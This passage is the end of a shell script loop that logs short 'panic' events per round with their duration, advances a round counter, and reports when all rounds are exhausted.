say "round $round: short panic (${round_dur}s) -> short_panics=$short_panics"
fi
round=$((round + 1))
done
say "all rounds exhausted"